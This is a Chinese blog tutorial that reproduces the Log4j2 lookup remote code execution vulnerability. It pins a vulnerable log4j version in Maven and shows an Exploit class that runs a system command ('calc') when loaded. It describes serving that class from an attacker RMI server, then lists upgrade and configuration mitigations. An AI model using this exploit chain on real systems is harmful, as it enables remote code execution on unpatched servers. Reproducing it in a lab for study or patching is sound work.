手把手教你复现Log4j2核弹级漏洞

简介

        近日, Apache Log4j 的远程代码执行漏洞细节被公开,该漏洞一旦被攻击者利用会造成严重危害。经过快速分析和确认,该漏洞影响范围极其广泛,危害极其严重,建议第一时间启动应急响应进行修复。

漏洞概述

        Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

影响范围

Apache Log4j 2.x <= 2.15.0-rc1

漏洞复现

1.环境搭建

        创建一个新的maven项目,并导入Log4j的依赖包

<dependencies>
    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.11.0</version>
    </dependency>
    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.11.0</version>
    </dependency>
</dependencies>

 2.漏洞利用,使用Log4jTest.java测试 

 3.编译一恶意类Exploit.class

首先新建Exploit.java,然后编译为class文件。

class Exploit {
    static {
        System.err.println("Evil has been there");
        try{
            String cmds="calc";
            Runtime.getRuntime().exec(cmds);
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

 4.黑客后台创建一个RMI服务,绑定Exploit,并执行开启1099监听端口

5.运行Log4jTest.java即可访问恶意类并执行写在其中的"calc"命令

 

修复方式

        目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

建议同时采用如下临时措施进行漏洞防范:

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

  • 部署使用第三方防火墙产品进行安全防护。

参考链接:

https://www.bilibili.com/video/BV1FL411E7g3

https://mp.weixin.qq.com/s/AqbGHYHLhRemxmroi2W6Iw

技术交流

源码放在评论区

欢迎转载、收藏、有所收获点赞支持一下!

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>